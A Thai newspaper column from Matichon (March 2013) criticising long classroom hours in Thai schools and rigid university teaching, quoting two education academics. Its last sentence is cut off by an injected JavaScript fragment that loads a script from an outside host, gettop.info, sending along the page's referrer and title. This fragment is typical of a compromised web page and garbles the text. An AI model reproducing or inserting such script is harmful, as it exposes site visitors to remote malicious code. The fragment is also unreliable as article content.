มติชนรายวัน ฉบับประจำวันอังคารที่ 19 มีนาคม 2556

 

          เรียนในห้อง(ชั้น)เรียนหลายๆชั่วโมงติดต่อกัน หรือตั้งแต่เช้าถึงเย็น เป็นสิ่งสำคัญมากๆของการศึกษาไทย เพราะเชื่อว่ายิ่งเรียนมาก ยิ่งรู้มาก ยิ่งเก่งมาก

          แต่เมื่อเทียบกับประเทศอื่นแล้วตรงข้าม คือ ไทยยิ่งเรียนมาก ยิ่งรู้น้อย ประเทศอื่นยิ่งเรียนน้อย ยิ่งรู้มาก

          เมื่อเร็วๆนี้ ผู้บริหาร ก. ศึกษาฯ แถลงข่าวเรื่องลดชั่วโมงเรียนในโรงเรียน มีสาระสำคัญจะสรุปมาดังนี้

          ศ.(พิเศษ) ดร. ภาวิช ทองโรจน์ ที่ปรึกษา รมว. ศึกษาฯ กล่าวว่า “การลดชั่วโมงเรียนไม่ทำให้เวลาเรียนของเด็กลดลง แต่เป็นการลดการเรียนในชั้นเรียน เวลาที่เหลือให้เด็กได้เรียนรู้นอกห้องเรียน อาทิ ทำกิจกรรม หรือทำโครงงานต่างๆ”

          “ปฏิรูปหลักสูตรอย่างเดียวคงจะไม่สามารถแก้ไขปัญหาการศึกษาที่ป่วยหนักได้ จะต้องปฏิรูปเรื่องอื่นๆควบคู่ไปด้วย ทั้งการปฏิรูปครู ปฏิรูปไอซีทีเพื่อการศึกษา และปฏิรูปโครงสร้าง”

          รศ.ดร. สมพงษ์ จิตระดับ อาจารย์คณะครุศาสตร์ จุฬาลงกรณ์มหาวิทยาลัย เห็นด้วยแล้วบอกเพิ่มเติมว่า ทุกวันนี้เด็กไทยเรียนในชั้นเรียนมากเกินไป จึงไม่มีเวลาไปเรียนรู้ทักษะอื่นๆ

          “หลักสูตรของ สพฐ. (สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน) ใช้มานานกว่า 12 ปีแล้ว เด็กต้องเรียนเนื้อหาซ้ำซ้อน แต่ได้ผลสัมฤทธิ์ต่ำ เหลือเวลาทำกิจกรรมน้อยเกินไป เด็กไม่กล้าแสดงความคิดเห็น ฉะนั้นต้องทิ้งหลักสูตรเดิมไปเลย แล้วทำหลักสูตรใหม่ขึ้นแทน” ดร. สมพงษ์ บอก (มติชน ฉบับวันพุธที่ 13 มีนาคม 2556 หน้า 22)

          แต่เป็นที่รู้กันว่ามหาวิทยาลัยของรัฐหลายแห่ง มีการเรียนการสอนด้วยการเน้นห้องเรียนเหมือนประถม, มัธยม อาจารย์บางพวกยังยืนหน้าห้องแล้วบอกให้นักศึกษาจดตามคำบอกทีละวรรคด้วยซ้ำ โดยห้ามถาม ห้ามเถียง และห้ามคิดต่างจากอาจารย์

          ตราบใดที่โครงสร้างอำนาจทางการเมืองในไทยยังไม่เสมอภาค ไม่ทัดเทียม แล้วการศึกษาไทยจะให้กล้าแสดงความคิดเห็น ชะรอยจะเป็นไปไม่ได้เลย}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;